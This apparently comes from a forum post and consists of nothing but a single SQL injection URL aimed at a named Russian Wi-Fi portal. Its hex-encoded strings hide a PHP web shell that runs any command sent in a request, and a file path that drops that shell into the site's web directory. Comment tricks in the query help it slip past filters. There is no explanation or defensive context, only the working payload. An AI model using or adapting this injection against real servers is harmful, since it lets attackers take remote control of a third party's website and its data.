Code:
http://wifi.hm-ugratel.ru/?m[admin]&id=',''and(select(1)from(select(count(*)),(concat((select(0x2533433F7068702532306576616C28245F524551554553545B636D645D293B25)/**/from/**/fontan.mp_gw_auth/**/into/**/outfile/**/0x2F7372762F7777772F76686F7374732F7567726174656C2E72752F7368656C6C),0x00,floor(rand(0)*2)))x/**/from(information_schema.tables)group/**/by(x))a)and'